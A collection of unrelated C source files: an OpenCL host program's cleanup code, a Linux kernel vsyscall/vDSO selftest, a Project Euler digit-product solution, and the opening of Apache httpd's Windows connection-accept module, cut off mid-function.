sizeof(cl_float4)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float4), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float4), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float4)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/106681.c
/* SPDX-License-Identifier: GPL-2.0 */ #define _GNU_SOURCE #include <stdio.h> #include <sys/time.h> #include <time.h> #include <stdlib.h> #include <sys/syscall.h> #include <unistd.h> #include <dlfcn.h> #include <string.h> #include <inttypes.h> #include <signal.h> #include <sys/ucontext.h> #include <errno.h> #include <err.h> #include <sched.h> #include <stdbool.h> #include <setjmp.h> #ifdef __x86_64__ # define VSYS(x) (x) #else # define VSYS(x) 0 #endif #ifndef SYS_getcpu # ifdef __x86_64__ # define SYS_getcpu 309 # else # define SYS_getcpu 318 # endif #endif /* max length of lines in /proc/self/maps - anything longer is skipped here */ #define MAPS_LINE_LEN 128 static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *), int flags) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = handler; sa.sa_flags = SA_SIGINFO | flags; sigemptyset(&sa.sa_mask); if (sigaction(sig, &sa, 0)) err(1, "sigaction"); } /* vsyscalls and vDSO */ bool should_read_vsyscall = false; typedef long (*gtod_t)(struct timeval *tv, struct timezone *tz); gtod_t vgtod = (gtod_t)VSYS(0xffffffffff600000); gtod_t vdso_gtod; typedef int (*vgettime_t)(clockid_t, struct timespec *); vgettime_t vdso_gettime; typedef long (*time_func_t)(time_t *t); time_func_t vtime = (time_func_t)VSYS(0xffffffffff600400); time_func_t vdso_time; typedef long (*getcpu_t)(unsigned *, unsigned *, void *); getcpu_t vgetcpu = (getcpu_t)VSYS(0xffffffffff600800); getcpu_t vdso_getcpu; static void init_vdso(void) { void *vdso = dlopen("linux-vdso.so.1", RTLD_LAZY | RTLD_LOCAL | RTLD_NOLOAD); if (!vdso) vdso = dlopen("linux-gate.so.1", RTLD_LAZY | RTLD_LOCAL | RTLD_NOLOAD); if (!vdso) { printf("[WARN]\tfailed to find vDSO\n"); return; } vdso_gtod = (gtod_t)dlsym(vdso, "__vdso_gettimeofday"); if (!vdso_gtod) printf("[WARN]\tfailed to find gettimeofday in vDSO\n"); vdso_gettime = (vgettime_t)dlsym(vdso, "__vdso_clock_gettime"); if (!vdso_gettime) printf("[WARN]\tfailed to find clock_gettime in vDSO\n"); vdso_time = (time_func_t)dlsym(vdso, "__vdso_time"); if (!vdso_time) printf("[WARN]\tfailed to find time in vDSO\n"); vdso_getcpu = (getcpu_t)dlsym(vdso, "__vdso_getcpu"); if (!vdso_getcpu) { /* getcpu() was never wired up in the 32-bit vDSO. */ printf("[%s]\tfailed to find getcpu in vDSO\n", sizeof(long) == 8 ? "WARN" : "NOTE"); } } static int init_vsys(void) { #ifdef __x86_64__ int nerrs = 0; FILE *maps; char line[MAPS_LINE_LEN]; bool found = false; maps = fopen("/proc/self/maps", "r"); if (!maps) { printf("[WARN]\tCould not open /proc/self/maps -- assuming vsyscall is r-x\n"); should_read_vsyscall = true; return 0; } while (fgets(line, MAPS_LINE_LEN, maps)) { char r, x; void *start, *end; char name[MAPS_LINE_LEN]; /* sscanf() is safe here as strlen(name) >= strlen(line) */ if (sscanf(line, "%p-%p %c-%cp %*x %*x:%*x %*u %s", &start, &end, &r, &x, name) != 5) continue; if (strcmp(name, "[vsyscall]")) continue; printf("\tvsyscall map: %s", line); if (start != (void *)0xffffffffff600000 || end != (void *)0xffffffffff601000) { printf("[FAIL]\taddress range is nonsense\n"); nerrs++; } printf("\tvsyscall permissions are %c-%c\n", r, x); should_read_vsyscall = (r == 'r'); if (x != 'x') { vgtod = NULL; vtime = NULL; vgetcpu = NULL; } found = true; break; } fclose(maps); if (!found) { printf("\tno vsyscall map in /proc/self/maps\n"); should_read_vsyscall = false; vgtod = NULL; vtime = NULL; vgetcpu = NULL; } return nerrs; #else return 0; #endif } /* syscalls */ static inline long sys_gtod(struct timeval *tv, struct timezone *tz) { return syscall(SYS_gettimeofday, tv, tz); } static inline int sys_clock_gettime(clockid_t id, struct timespec *ts) { return syscall(SYS_clock_gettime, id, ts); } static inline long sys_time(time_t *t) { return syscall(SYS_time, t); } static inline long sys_getcpu(unsigned * cpu, unsigned * node, void* cache) { return syscall(SYS_getcpu, cpu, node, cache); } static jmp_buf jmpbuf; static void sigsegv(int sig, siginfo_t *info, void *ctx_void) { siglongjmp(jmpbuf, 1); } static double tv_diff(const struct timeval *a, const struct timeval *b) { return (double)(a->tv_sec - b->tv_sec) + (double)((int)a->tv_usec - (int)b->tv_usec) * 1e-6; } static int check_gtod(const struct timeval *tv_sys1, const struct timeval *tv_sys2, const struct timezone *tz_sys, const char *which, const struct timeval *tv_other, const struct timezone *tz_other) { int nerrs = 0; double d1, d2; if (tz_other && (tz_sys->tz_minuteswest != tz_other->tz_minuteswest || tz_sys->tz_dsttime != tz_other->tz_dsttime)) { printf("[FAIL] %s tz mismatch\n", which); nerrs++; } d1 = tv_diff(tv_other, tv_sys1); d2 = tv_diff(tv_sys2, tv_other); printf("\t%s time offsets: %lf %lf\n", which, d1, d2); if (d1 < 0 || d2 < 0) { printf("[FAIL]\t%s time was inconsistent with the syscall\n", which); nerrs++; } else { printf("[OK]\t%s gettimeofday()'s timeval was okay\n", which); } return nerrs; } static int test_gtod(void) { struct timeval tv_sys1, tv_sys2, tv_vdso, tv_vsys; struct timezone tz_sys, tz_vdso, tz_vsys; long ret_vdso = -1; long ret_vsys = -1; int nerrs = 0; printf("[RUN]\ttest gettimeofday()\n"); if (sys_gtod(&tv_sys1, &tz_sys) != 0) err(1, "syscall gettimeofday"); if (vdso_gtod) ret_vdso = vdso_gtod(&tv_vdso, &tz_vdso); if (vgtod) ret_vsys = vgtod(&tv_vsys, &tz_vsys); if (sys_gtod(&tv_sys2, &tz_sys) != 0) err(1, "syscall gettimeofday"); if (vdso_gtod) { if (ret_vdso == 0) { nerrs += check_gtod(&tv_sys1, &tv_sys2, &tz_sys, "vDSO", &tv_vdso, &tz_vdso); } else { printf("[FAIL]\tvDSO gettimeofday() failed: %ld\n", ret_vdso); nerrs++; } } if (vgtod) { if (ret_vsys == 0) { nerrs += check_gtod(&tv_sys1, &tv_sys2, &tz_sys, "vsyscall", &tv_vsys, &tz_vsys); } else { printf("[FAIL]\tvsys gettimeofday() failed: %ld\n", ret_vsys); nerrs++; } } return nerrs; } static int test_time(void) { int nerrs = 0; printf("[RUN]\ttest time()\n"); long t_sys1, t_sys2, t_vdso = 0, t_vsys = 0; long t2_sys1 = -1, t2_sys2 = -1, t2_vdso = -1, t2_vsys = -1; t_sys1 = sys_time(&t2_sys1); if (vdso_time) t_vdso = vdso_time(&t2_vdso); if (vtime) t_vsys = vtime(&t2_vsys); t_sys2 = sys_time(&t2_sys2); if (t_sys1 < 0 || t_sys1 != t2_sys1 || t_sys2 < 0 || t_sys2 != t2_sys2) { printf("[FAIL]\tsyscall failed (ret1:%ld output1:%ld ret2:%ld output2:%ld)\n", t_sys1, t2_sys1, t_sys2, t2_sys2); nerrs++; return nerrs; } if (vdso_time) { if (t_vdso < 0 || t_vdso != t2_vdso) { printf("[FAIL]\tvDSO failed (ret:%ld output:%ld)\n", t_vdso, t2_vdso); nerrs++; } else if (t_vdso < t_sys1 || t_vdso > t_sys2) { printf("[FAIL]\tvDSO returned the wrong time (%ld %ld %ld)\n", t_sys1, t_vdso, t_sys2); nerrs++; } else { printf("[OK]\tvDSO time() is okay\n"); } } if (vtime) { if (t_vsys < 0 || t_vsys != t2_vsys) { printf("[FAIL]\tvsyscall failed (ret:%ld output:%ld)\n", t_vsys, t2_vsys); nerrs++; } else if (t_vsys < t_sys1 || t_vsys > t_sys2) { printf("[FAIL]\tvsyscall returned the wrong time (%ld %ld %ld)\n", t_sys1, t_vsys, t_sys2); nerrs++; } else { printf("[OK]\tvsyscall time() is okay\n"); } } return nerrs; } static int test_getcpu(int cpu) { int nerrs = 0; long ret_sys, ret_vdso = -1, ret_vsys = -1; printf("[RUN]\tgetcpu() on CPU %d\n", cpu); cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu, &cpuset); if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0) { printf("[SKIP]\tfailed to force CPU %d\n", cpu); return nerrs; } unsigned cpu_sys, cpu_vdso, cpu_vsys, node_sys, node_vdso, node_vsys; unsigned node = 0; bool have_node = false; ret_sys = sys_getcpu(&cpu_sys, &node_sys, 0); if (vdso_getcpu) ret_vdso = vdso_getcpu(&cpu_vdso, &node_vdso, 0); if (vgetcpu) ret_vsys = vgetcpu(&cpu_vsys, &node_vsys, 0); if (ret_sys == 0) { if (cpu_sys != cpu) { printf("[FAIL]\tsyscall reported CPU %hu but should be %d\n", cpu_sys, cpu); nerrs++; } have_node = true; node = node_sys; } if (vdso_getcpu) { if (ret_vdso) { printf("[FAIL]\tvDSO getcpu() failed\n"); nerrs++; } else { if (!have_node) { have_node = true; node = node_vdso; } if (cpu_vdso != cpu) { printf("[FAIL]\tvDSO reported CPU %hu but should be %d\n", cpu_vdso, cpu); nerrs++; } else { printf("[OK]\tvDSO reported correct CPU\n"); } if (node_vdso != node) { printf("[FAIL]\tvDSO reported node %hu but should be %hu\n", node_vdso, node); nerrs++; } else { printf("[OK]\tvDSO reported correct node\n"); } } } if (vgetcpu) { if (ret_vsys) { printf("[FAIL]\tvsyscall getcpu() failed\n"); nerrs++; } else { if (!have_node) { have_node = true; node = node_vsys; } if (cpu_vsys != cpu) { printf("[FAIL]\tvsyscall reported CPU %hu but should be %d\n", cpu_vsys, cpu); nerrs++; } else { printf("[OK]\tvsyscall reported correct CPU\n"); } if (node_vsys != node) { printf("[FAIL]\tvsyscall reported node %hu but should be %hu\n", node_vsys, node); nerrs++; } else { printf("[OK]\tvsyscall reported correct node\n"); } } } return nerrs; } static int test_vsys_r(void) { #ifdef __x86_64__ printf("[RUN]\tChecking read access to the vsyscall page\n"); bool can_read; if (sigsetjmp(jmpbuf, 1) == 0) { *(volatile int *)0xffffffffff600000; can_read = true; } else { can_read = false; } if (can_read && !should_read_vsyscall) { printf("[FAIL]\tWe have read access, but we shouldn't\n"); return 1; } else if (!can_read && should_read_vsyscall) { printf("[FAIL]\tWe don't have read access, but we should\n"); return 1; } else { printf("[OK]\tgot expected result\n"); } #endif return 0; } #ifdef __x86_64__ #define X86_EFLAGS_TF (1UL << 8) static volatile sig_atomic_t num_vsyscall_traps; static unsigned long get_eflags(void) { unsigned long eflags; asm volatile ("pushfq\n\tpopq %0" : "=rm" (eflags)); return eflags; } static void set_eflags(unsigned long eflags) { asm volatile ("pushq %0\n\tpopfq" : : "rm" (eflags) : "flags"); } static void sigtrap(int sig, siginfo_t *info, void *ctx_void) { ucontext_t *ctx = (ucontext_t *)ctx_void; unsigned long ip = ctx->uc_mcontext.gregs[REG_RIP]; if (((ip ^ 0xffffffffff600000UL) & ~0xfffUL) == 0) num_vsyscall_traps++; } static int test_native_vsyscall(void) { time_t tmp; bool is_native; if (!vtime) return 0; printf("[RUN]\tchecking for native vsyscall\n"); sethandler(SIGTRAP, sigtrap, 0); set_eflags(get_eflags() | X86_EFLAGS_TF); vtime(&tmp); set_eflags(get_eflags() & ~X86_EFLAGS_TF); /* * If vsyscalls are emulated, we expect a single trap in the * vsyscall page -- the call instruction will trap with RIP * pointing to the entry point before emulation takes over. * In native mode, we expect two traps, since whatever code * the vsyscall page contains will be more than just a ret * instruction. */ is_native = (num_vsyscall_traps > 1); printf("\tvsyscalls are %s (%d instructions in vsyscall page)\n", (is_native ? "native" : "emulated"), (int)num_vsyscall_traps); return 0; } #endif int main(int argc, char **argv) { int nerrs = 0; init_vdso(); nerrs += init_vsys(); nerrs += test_gtod(); nerrs += test_time(); nerrs += test_getcpu(0); nerrs += test_getcpu(1); sethandler(SIGSEGV, sigsegv, 0); nerrs += test_vsys_r(); #ifdef __x86_64__ nerrs += test_native_vsyscall(); #endif return nerrs ? 1 : 0; }
the_stack_data/29476.c
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> #define NUMBER_LENGTH 1000 #define BUFFER_SIZE 50 #define SEQ_LENGTH 13 void CopySubstring(int *destination, int *source, int start, int length); int CheckForZero(int *number_array, int length); unsigned long int CalculateProduct(int *number_array, int length); int main(void) { FILE *fp_aux = NULL; int *input_array = malloc(NUMBER_LENGTH * sizeof *input_array); int *tmp_array = malloc(SEQ_LENGTH * sizeof *tmp_array); char buffer[50]; int digit = 0, curr_idx = 0, found_idx = -1, count = 0; unsigned long int product = 0, tmp_product = 0; fp_aux = fopen("../../../addendum/0008.txt", "r"); if ( fp_aux == NULL ) { printf("Nay! Something went wrong! >.<"); exit(1); } while ( fgets(buffer, BUFFER_SIZE+1, fp_aux) != NULL && strlen(buffer) > 1 ) { for ( digit = 0 ; digit < BUFFER_SIZE ; digit++ ) { input_array[curr_idx++] = buffer[digit] - '0'; } } curr_idx = 0; while ( curr_idx < NUMBER_LENGTH - SEQ_LENGTH ) { CopySubstring(tmp_array, input_array, curr_idx, SEQ_LENGTH); found_idx = CheckForZero(tmp_array, SEQ_LENGTH); if ( found_idx < 0 ) { tmp_product = CalculateProduct(tmp_array, SEQ_LENGTH); curr_idx++; } else { curr_idx += found_idx + 1; } if ( tmp_product > product ) { product = tmp_product; } } printf("%lu\n", product); fclose(fp_aux); free(input_array); input_array = NULL; free(tmp_array); tmp_array = NULL; return 0; } void CopySubstring(int *destination, int *source, int start, int length) { int idx = 0; for ( ; idx < length ; idx++ ) { destination[idx] = source[start+idx]; } return; } int CheckForZero(int *number_array, int length) { int idx = 0, found_idx = -1; for ( ; idx < length ; idx++ ) { if ( number_array[idx] == 0 ) { found_idx = idx; } } return found_idx; } unsigned long int CalculateProduct(int *number_array, int length) { unsigned long int product = 1; int idx = 0; for ( ; idx < length ; idx++ ) { product *= number_array[idx]; } return product; }
the_stack_data/82951308.c
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef WIN32 #include "apr.h" #include <process.h> #include "httpd.h" #include "http_main.h" #include "http_log.h" #include "http_config.h" /* for read_config */ #include "http_core.h" /* for get_remote_host */ #include "http_connection.h" #include "http_vhost.h" /* for ap_update_vhost_given_ip */ #include "apr_portable.h" #include "apr_thread_proc.h" #include "apr_getopt.h" #include "apr_strings.h" #include "apr_lib.h" #include "apr_shm.h" #include "apr_thread_mutex.h" #include "ap_mpm.h" #include "ap_config.h" #include "ap_listen.h" #include "mpm_default.h" #include "mpm_winnt.h" #include "mpm_common.h" #include <malloc.h> #include "apr_atomic.h" #include "apr_buckets.h" #include "scoreboard.h" #ifdef __MINGW32__ #include <mswsock.h> #ifndef WSAID_ACCEPTEX #define WSAID_ACCEPTEX \ {0xb5367df1, 0xcbac, 0x11cf, {0x95, 0xca, 0x00, 0x80, 0x5f, 0x48, 0xa1, 0x92}} typedef BOOL (WINAPI *LPFN_ACCEPTEX)(SOCKET, SOCKET, PVOID, DWORD, DWORD, DWORD, LPDWORD, LPOVERLAPPED); #endif /* WSAID_ACCEPTEX */ #ifndef WSAID_GETACCEPTEXSOCKADDRS #define WSAID_GETACCEPTEXSOCKADDRS \ {0xb5367df2, 0xcbac, 0x11cf, {0x95, 0xca, 0x00, 0x80, 0x5f, 0x48, 0xa1, 0x92}} typedef VOID (WINAPI *LPFN_GETACCEPTEXSOCKADDRS)(PVOID, DWORD, DWORD, DWORD, struct sockaddr **, LPINT, struct sockaddr **, LPINT); #endif /* WSAID_GETACCEPTEXSOCKADDRS */ #endif /* __MINGW32__ */ /* * The Windows MPM uses a queue of completion contexts that it passes * between the accept threads and the worker threads. Declare the * functions to access the queue and the structures passed on the * queue in the header file to enable modules to access them * if necessary. The queue resides in the MPM. */ #ifdef CONTAINING_RECORD #undef CONTAINING_RECORD #endif #define CONTAINING_RECORD(address, type, field) ((type *)( \ (char *)(address) - \ (char *)(&((type *)0)->field))) #if APR_HAVE_IPV6 #define PADDED_ADDR_SIZE (sizeof(SOCKADDR_IN6)+16) #else #define PADDED_ADDR_SIZE (sizeof(SOCKADDR_IN)+16) #endif APLOG_USE_MODULE(mpm_winnt); /* Queue for managing the passing of winnt_conn_ctx_t between * the accept and worker threads. */ typedef struct winnt_conn_ctx_t_s { struct winnt_conn_ctx_t_s *next; OVERLAPPED overlapped; apr_socket_t *sock; SOCKET accept_socket; char buff[2*PADDED_ADDR_SIZE]; struct sockaddr *sa_server; int sa_server_len; struct sockaddr *sa_client; int sa_client_len; apr_pool_t *ptrans; apr_bucket_alloc_t *ba; apr_bucket *data; #if APR_HAVE_IPV6 short socket_family; #endif } winnt_conn_ctx_t; typedef enum { IOCP_CONNECTION_ACCEPTED = 1, IOCP_WAIT_FOR_RECEIVE = 2, IOCP_WAIT_FOR_TRANSMITFILE = 3, IOCP_SHUTDOWN = 4 } io_state_e; static apr_pool_t *pchild; static int shutdown_in_progress = 0; static int workers_may_exit = 0; static unsigned int g_blocked_threads = 0; static HANDLE max_requests_per_child_event; static apr_thread_mutex_t *child_lock; static apr_thread_mutex_t *qlock; static winnt_conn_ctx_t *qhead = NULL; static winnt_conn_ctx_t *qtail = NULL; static apr_uint32_t num_completion_contexts = 0; static apr_uint32_t max_num_completion_contexts = 0; static HANDLE ThreadDispatchIOCP = NULL; static HANDLE qwait_event = NULL; static void mpm_recycle_completion_context(winnt_conn_ctx_t *context) { /* Recycle the completion context. * - clear the ptrans pool * - put the context on the queue to be consumed by the accept thread * Note: * context->accept_socket may be in a disconnected but reusable * state so -don't- close it. */ if (context) { HANDLE saved_event; apr_pool_clear(context->ptrans); context->ba = apr_bucket_alloc_create(context->ptrans); context->next = NULL; saved_event = context->overlapped.hEvent; memset(&context->overlapped, 0, sizeof(context->overlapped)); context->overlapped.hEvent = saved_event; ResetEvent(context->overlapped.hEvent); apr_thread_mutex_lock(qlock); if (qtail) { qtail->next = context; } else { qhead = context; SetEvent(qwait_event); } qtail = context; apr_thread_mutex_unlock(qlock); } } static winnt_conn_ctx_t *mpm_get_completion_context(int *timeout) { apr_status_t rv; winnt_conn_ctx_t *context = NULL; *timeout = 0; while (1) { /* Grab a context off the queue */ apr_thread_mutex_lock(qlock); if (qhead) { context = qhead; qhead = qhead->next; if (!qhead) qtail = NULL; } else { ResetEvent(qwait_event); } apr_thread_mutex_unlock(qlock); if (!context) { /* We failed to grab a context off the queue, consider allocating * a new one out of the child pool. There may be up to * (ap_threads_per_child + num_listeners) contexts in the system * at once. */ if (num_completion_contexts >= max_num_completion_contexts) { /* All workers are busy, need to wait for one */ static int reported = 0; if (!reported) { ap_log_error(APLOG_MARK, APLOG_ERR, 0, ap_server_conf, APLOGNO(00326) "Server ran out of threads to serve " "requests. Consider raising the " "ThreadsPerChild setting"); reported = 1; } /* Wait for a worker to free a context. Once per second, give * the caller a chance to check for shutdown. If the wait * succeeds, get the context off the queue. It must be * available, since there's only one consumer. */ rv = WaitForSingleObject(qwait_event, 1000); if (rv == WAIT_OBJECT_0) continue; else { if (rv == WAIT_TIMEOUT) { /* somewhat-normal condition where threads are busy */ ap_log_error(APLOG_MARK, APLOG_DEBUG, 0, ap_server_conf, APLOGNO(00327) "mpm_get_completion_context: Failed to get a " "free context within 1 second"); *timeout = 1; } else { /* should be the unexpected, generic WAIT_FAILED */ ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_os_error(), ap_server_conf, APLOGNO(00328) "mpm_get_completion_context: " "WaitForSingleObject failed to get free context"); } return NULL; } } else { /* Allocate another context. * Note: Multiple failures in the next two steps will cause * the pchild pool to 'leak' storage. I don't think this * is worth fixing... */ apr_allocator_t *allocator; apr_thread_mutex_lock(child_lock); context = (winnt_conn_ctx_t *)apr_pcalloc(pchild, sizeof(winnt_conn_ctx_t)); context->overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (context->overlapped.hEvent == NULL) { /* Hopefully this is a temporary condition ... */ ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_os_error(), ap_server_conf, APLOGNO(00329) "mpm_get_completion_context: " "CreateEvent failed."); apr_thread_mutex_unlock(child_lock); return NULL; } /* Create the transaction pool */ apr_allocator_create(&allocator); apr_allocator_max_free_set(allocator, ap_max_mem_free); rv = apr_pool_create_ex(&context->ptrans, pchild, NULL, allocator); if (rv != APR_SUCCESS) { ap_log_error(APLOG_MARK, APLOG_WARNING, rv, ap_server_conf, APLOGNO(00330) "mpm_get_completion_context: Failed " "to create the transaction pool."); CloseHandle(context->overlapped.hEvent); apr_thread_mutex_unlock(child_lock); return NULL; } apr_allocator_owner_set(allocator, context->ptrans); apr_pool_tag(context->ptrans, "transaction"); context->accept_socket = INVALID_SOCKET; context->ba = apr_bucket_alloc_create(context->ptrans); apr_atomic_inc32(&num_completion_contexts); apr_thread_mutex_unlock(child_lock); break; } } else { /* Got a context from the queue */ break; } } return context; } typedef enum { ACCEPT_FILTER_NONE = 0, ACCEPT_FILTER_CONNECT = 1 } accept_filter_e; static const char * accept_filter_to_string(accept_filter_e accf) { switch (accf) { case ACCEPT_FILTER_NONE: return "none"; case ACCEPT_FILTER_CONNECT: return "connect"; default: return ""; } } static accept_filter_e get_accept_filter(const char *protocol) { core_server_config *core_sconf; const char *name; core_sconf = ap_get_core_module_config(ap_server_conf->module_config); name = apr_table_get(core_sconf->accf_map, protocol); if (!name) { ap_log_error(APLOG_MARK, APLOG_WARNING, 0, ap_server_conf, APLOGNO(02531) "winnt_accept: Listen protocol '%s' has " "no known accept filter. Using 'none' instead", protocol); return ACCEPT_FILTER_NONE; } else if (strcmp(name, "data") == 0) { ap_log_error(APLOG_MARK, APLOG_INFO, 0, ap_server_conf, APLOGNO(03458) "winnt_accept: 'data' accept filter is no " "longer supported. Using 'connect' instead"); return ACCEPT_FILTER_CONNECT; } else if (strcmp(name, "connect") == 0) { return ACCEPT_FILTER_CONNECT; } else if (strcmp(name, "none") == 0) { return ACCEPT_FILTER_NONE; } else { ap_log_error(APLOG_MARK, APLOG_WARNING, 0, ap_server_conf, APLOGNO(00331) "winnt_accept: unrecognized AcceptFilter '%s', " "only 'data', 'connect' or 'none' are valid. " "Using 'none' instead", name); return ACCEPT_FILTER_NONE; } } /* Windows NT/2000 specific code... * Accept processing for on Windows NT uses a producer/consumer queue * model. An accept thread accepts connections off the network then issues * PostQueuedCompletionStatus() to awake a thread blocked on the ThreadDispatch * IOCompletionPort. * * winnt_accept() * One or more accept threads run in this function, each of which accepts * connections off the network and calls PostQueuedCompletionStatus() to * queue an io completion packet to the ThreadDispatch IOCompletionPort. * winnt_get_connection() * Worker threads block on the ThreadDispatch IOCompletionPort awaiting * connections to service. */ #define MAX_ACCEPTEX_ERR_COUNT 10 static unsigned int __stdcall winnt_accept(void *lr_) { ap_listen_rec *lr = (ap_listen_rec *)lr_; apr_os_sock_info_t sockinfo; winnt_conn_ctx_t *context = NULL; DWORD BytesRead = 0; SOCKET nlsd; LPFN_ACCEPTEX lpfnAcceptEx = NULL; LPFN_GETACCEPTEXSOCKADDRS lpfnGetAcceptExSockaddrs = NULL; GUID GuidAcceptEx = WSAID_ACCEPTEX; GUID GuidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS; int rv; accept_filter_e accf; int err_count = 0; HANDLE events[3]; #if APR_HAVE_IPV6 SOCKADDR_STORAGE ss_listen; int namelen = sizeof(ss_listen); #endif u_long zero = 0; apr_os_sock_get(&nlsd, lr->sd); #if APR_HAVE_IPV6 if (getsockname(nlsd, (struct sockaddr *)&ss_listen, &namelen) == SOCKET_ERROR) { ap_log_error(APLOG_MARK, APLOG_ERR, apr_get_netos_error(), ap_server_conf, APLOGNO(00332) "winnt_accept: getsockname error on listening socket, " "is IPv6 available?"); return 1; } #endif accf = get_accept_filter(lr->protocol); if (accf == ACCEPT_FILTER_CONNECT) { if (WSAIoctl(nlsd, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidAcceptEx, sizeof GuidAcceptEx, &lpfnAcceptEx, sizeof lpfnAcceptEx, &BytesRead, NULL, NULL) == SOCKET_ERROR) { ap_log_error(APLOG_MARK, APLOG_ERR, apr_get_netos_error(), ap_server_conf, APLOGNO(02322) "winnt_accept: failed to retrieve AcceptEx, try 'AcceptFilter none'"); return 1; } if (WSAIoctl(nlsd, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidGetAcceptExSockaddrs, sizeof GuidGetAcceptExSockaddrs, &lpfnGetAcceptExSockaddrs, sizeof lpfnGetAcceptExSockaddrs, &BytesRead, NULL, NULL) == SOCKET_ERROR) { ap_log_error(APLOG_MARK, APLOG_ERR, apr_get_netos_error(), ap_server_conf, APLOGNO(02323) "winnt_accept: failed to retrieve GetAcceptExSockaddrs, try 'AcceptFilter none'"); return 1; } /* first, high priority event is an already accepted connection */ events[1] = exit_event; events[2] = max_requests_per_child_event; } else /* accf == ACCEPT_FILTER_NONE */ { reinit: /* target of connect upon too many AcceptEx failures */ /* last, low priority event is a not yet accepted connection */ events[0] = exit_event; events[1] = max_requests_per_child_event; events[2] = CreateEvent(NULL, FALSE, FALSE, NULL); /* The event needs to be removed from the accepted socket, * if not removed from the listen socket prior to accept(), */ rv = WSAEventSelect(nlsd, events[2], FD_ACCEPT); if (rv) { ap_log_error(APLOG_MARK, APLOG_ERR, apr_get_netos_error(), ap_server_conf, APLOGNO(00333) "WSAEventSelect() failed."); CloseHandle(events[2]); return 1; } } ap_log_error(APLOG_MARK, APLOG_DEBUG, 0, ap_server_conf, APLOGNO(00334) "Child: Accept thread listening on %pI using AcceptFilter %s", lr->bind_addr, accept_filter_to_string(accf)); while (!shutdown_in_progress) { if (!context) { int timeout; context = mpm_get_completion_context(&timeout); if (!context) { if (!timeout) { /* Hopefully a temporary condition in the provider? */ ++err_count; if (err_count > MAX_ACCEPTEX_ERR_COUNT) { ap_log_error(APLOG_MARK, APLOG_CRIT, 0, ap_server_conf, APLOGNO(00335) "winnt_accept: Too many failures grabbing a " "connection ctx. Aborting."); break; } } Sleep(100); continue; } } if (accf == ACCEPT_FILTER_CONNECT) { char *buf; /* Create and initialize the accept socket */ #if APR_HAVE_IPV6 if (context->accept_socket == INVALID_SOCKET) { context->accept_socket = socket(ss_listen.ss_family, SOCK_STREAM, IPPROTO_TCP); context->socket_family = ss_listen.ss_family; } else if (context->socket_family != ss_listen.ss_family) { closesocket(context->accept_socket); context->accept_socket = socket(ss_listen.ss_family, SOCK_STREAM, IPPROTO_TCP); context->socket_family = ss_listen.ss_family; } #else if (context->accept_socket == INVALID_SOCKET) context->accept_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); #endif if (context->accept_socket == INVALID_SOCKET) { ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_netos_error(), ap_server_conf, APLOGNO(00336) "winnt_accept: Failed to allocate an accept socket. " "Temporary 